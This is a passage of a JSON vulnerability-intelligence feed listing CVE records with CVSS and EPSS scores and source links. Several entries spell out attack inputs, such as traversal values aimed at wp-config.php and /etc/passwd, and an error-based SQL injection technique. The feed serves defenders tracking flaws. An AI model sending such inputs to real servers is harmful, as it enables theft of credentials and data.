fixes.","publishedAt":"2026-10-22T11:17:04.537Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48015","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00563,"percentile":0.46526,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48015","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48015","type":"primary","publishedAt":"2026-10-22T11:17:04.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48013","cveId":"CVE-2021-48013","aliases":[],"kind":"vulnerability","title":"Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the...","summary":"Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the /weaver/ln.FileDownload endpoint. Attackers can send crafted GET requests with directory traversal sequences in fpath to retrieve sensitive files such as WEB-INF/web.xml from the server. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.","detail":"Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the /weaver/ln.FileDownload endpoint. Attackers can send crafted GET requests with directory traversal sequences in fpath to retrieve sensitive files such as WEB-INF/web.xml from the server. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:04.250Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48013","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00736,"percentile":0.54171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48013","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48013","type":"primary","publishedAt":"2026-10-22T11:17:04.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-25779","cveId":"CVE-2019-25779","aliases":[],"kind":"vulnerability","title":"WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php.","summary":"WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. Attackers can send GET requests with file:// scheme paths to the calendar parameter to disclose sensitive files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. Attackers can send GET requests with file:// scheme paths to the calendar parameter to disclose sensitive files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:03.930Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-25779","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00447,"percentile":0.38624,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-25779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2019-25779","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-25779","type":"primary","publishedAt":"2026-10-22T11:17:03.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-25779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-25779, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-25778","cveId":"CVE-2019-25778","aliases":[],"kind":"vulnerability","title":"SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array...","summary":"SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array parameter. Attackers can send GET requests to /comment/api/index.php with crafted rlist[] values using backtick-quoted variables and extractvalue to extract database information via error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"SeaCMS through 8.7 contains an unauthenticated SQL injection vulnerability that allows remote attackers to manipulate database queries by injecting SQL through the rlist[] array parameter. Attackers can send GET requests to /comment/api/index.php with crafted rlist[] values using backtick-quoted variables and extractvalue to extract database information via error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:03.777Z","updatedAt":"2026-10-23T22:16:51.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-25778","asOf":"2026-10-23T22:16:51.077Z"},"epss":{"probability":0.00461,"percentile":0.39686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-25778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2019-25778","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-25778","type":"primary","publishedAt":"2026-10-22T11:17:03.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-25778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-25778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-25439","cveId":"CVE-2018-25439","aliases":[],"kind":"vulnerability","title":"MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter.","summary":"MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:03.620Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-25439","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00469,"percentile":0.4034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-25439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2018-25439","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-25439","type":"primary","publishedAt":"2026-10-22T11:17:03.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-25439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-25439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-25438","cveId":"CVE-2018-25438","aliases":[],"kind":"vulnerability","title":"Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by...","summary":"Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by manipulating the 'file' parameter. Attackers can send GET requests to /compress.php with '../' sequences in the 'file' parameter, which is appended to the cache path and passed to readfile(), to read files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-21.","detail":"Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by manipulating the 'file' parameter. Attackers can send GET requests to /compress.php with '../' sequences in the 'file' parameter, which is appended to the cache path and passed to readfile(), to read files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-21.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:03.463Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-25438","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00536,"percentile":0.44906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-25438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2018-25438","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-25438","type":"primary","publishedAt":"2026-10-22T11:17:03.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-25438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-25438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-20289","cveId":"CVE-2017-20289","aliases":[],"kind":"vulnerability","title":"Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files...","summary":"Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files by passing unsanitized input to require in views/modal/index.php. Attackers can supply directory traversal sequences in the 'step' parameter, optionally with a null byte, to include local files and execute PHP code. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"Broadstreet Ad Widget plugin for WordPress 2.2.0 before 2.12.0 contains a local file inclusion vulnerability that allows authenticated users to execute attacker-chosen PHP files by passing unsanitized input to require in views/modal/index.php. Attackers can supply directory traversal sequences in the 'step' parameter, optionally with a null byte, to include local files and execute PHP code. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:03.063Z","updatedAt":"2026-10-23T22:16:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-20289","asOf":"2026-10-23T22:16:50.180Z"},"epss":{"probability":0.00931,"percentile":0.60364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-20289&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2017-20289","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-20289","type":"primary","publishedAt":"2026-10-22T11:17:03.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-20289&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-20289, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-20287","cveId":"CVE-2017-20287","aliases":[],"kind":"vulnerability","title":"Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the...","summary":"Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the jvfrm_spot_get_json AJAX action. Attackers can send GET requests to /wp-admin/admin-ajax.php with fn set to ../../wp-config.php to retrieve database credentials and secret keys. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the jvfrm_spot_get_json AJAX action. Attackers can send GET requests to /wp-admin/admin-ajax.php with fn set to ../../wp-config.php to retrieve database credentials and secret keys. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:01.823Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-20287","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00447,"percentile":0.38624,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-20287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2017-20287","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-20287","type":"primary","publishedAt":"2026-10-22T11:17:01.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-20287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-20287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-opencode-flaw-lets-malicious-mcp-3c95c0f04e66","cveId":null,"aliases":[],"kind":"vulnerability","title":"OpenCode Flaw Lets Malicious MCP Servers Execute Code During Sign-In on Windows and WSL","summary":"A flaw in the OpenCode AI coding agent allowed a malicious or hijacked MCP server to run code on a developer's Windows or WSL machine when the developer signed in. OpenCode connects to MCP (Model Context Protocol) servers to add outside tools, and such code would run with the developer's own access.\n\nAnomaly, the company behind OpenCode, fixed the flaw in version 1.18.33 on September","detail":"A flaw in the OpenCode AI coding agent allowed a malicious or hijacked MCP server to run code on a developer's Windows or WSL machine when the developer signed in. OpenCode connects to MCP (Model Context Protocol) servers to add outside tools, and such code would run with the developer's own access.\n\nAnomaly, the company behind OpenCode, fixed the flaw in version 1.18.33 on September\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T10:44:05.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: OpenCode Flaw Lets Malicious MCP Servers Execute Code During Sign-In on Windows and WSL","url":"https://thehackernews.com/2026/10/opencode-flaw-lets-malicious-mcp.html","type":"reporting","publishedAt":"2026-10-22T10:44:05.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112085","cveId":"CVE-2026-112085","aliases":[],"kind":"vulnerability","title":"webpack-dev-server is a development server that provides live reloading for webpack projects.","summary":"webpack-dev-server is a development server that provides live reloading for webpack projects. In versions before 5.2.7 and in version 6.0.0, when a proxy entry is configured to forward WebSockets, the server forwards non-HMR WebSocket upgrade requests to the proxy target without validating the Host or Origin headers, so the allowedHosts protection does not apply to those proxied upgrades. A malicious web page visited by a developer can open a cross-origin WebSocket through the dev server and read from and write to the proxied backend, even when the server is bound to loopback. The issue is fixed in webpack-dev-server 5.2.7 and 6.1.0, where proxied WebSocket upgrades pass the same Host and Origin validation as the HMR WebSocket, and users should upgrade to one of those versions or later. As a workaround, omit WebSocket forwarding from proxy entries that do not need it and scope the proxy to specific paths.","detail":"webpack-dev-server is a development server that provides live reloading for webpack projects. In versions before 5.2.7 and in version 6.0.0, when a proxy entry is configured to forward WebSockets, the server forwards non-HMR WebSocket upgrade requests to the proxy target without validating the Host or Origin headers, so the allowedHosts protection does not apply to those proxied upgrades. A malicious web page visited by a developer can open a cross-origin WebSocket through the dev server and read from and write to the proxied backend, even when the server is bound to loopback. The issue is fixed in webpack-dev-server 5.2.7 and 6.1.0, where proxied WebSocket upgrades pass the same Host and Origin validation as the HMR WebSocket, and users should upgrade to one of those versions or later. As a workaround, omit WebSocket forwarding from proxy entries that do not need it and scope the proxy to specific paths.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T10:17:08.760Z","updatedAt":"2026-10-22T15:25:10.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112085","asOf":"2026-10-22T15:25:10.067Z"},"epss":{"probability":0.00147,"percentile":0.039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112085","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112085","type":"primary","publishedAt":"2026-10-22T10:17:08.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93471","cveId":"CVE-2026-93471","aliases":[],"kind":"vulnerability","title":"Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang...","summary":"Improper Handling of Highly Compressed Data (Data Amplification) in esaml_binding in dropbox esaml allows an unauthenticated attacker to exhaust server memory and crash the Erlang VM via a crafted compressed SAMLResponse.\n\nesaml_binding:decode_response/2 base64-decodes the attacker-supplied SAMLResponse, inflates it with zlib:unzip/1 with no bound on the output, then converts the result to a charlist with binary_to_list/1 before parsing. This runs on the SAML consume (ACS) and single-logout endpoints, which accept unauthenticated requests by design, and it runs before any signature check. A small deflate stream reaches a compression ratio near 1000 to 1, so a request body of tens of kilobytes inflates to hundreds of megabytes and then to several gigabytes of list heap, so a few requests exhaust memory and take the node down.\n\nThis issue affects esaml: from 0.1.0 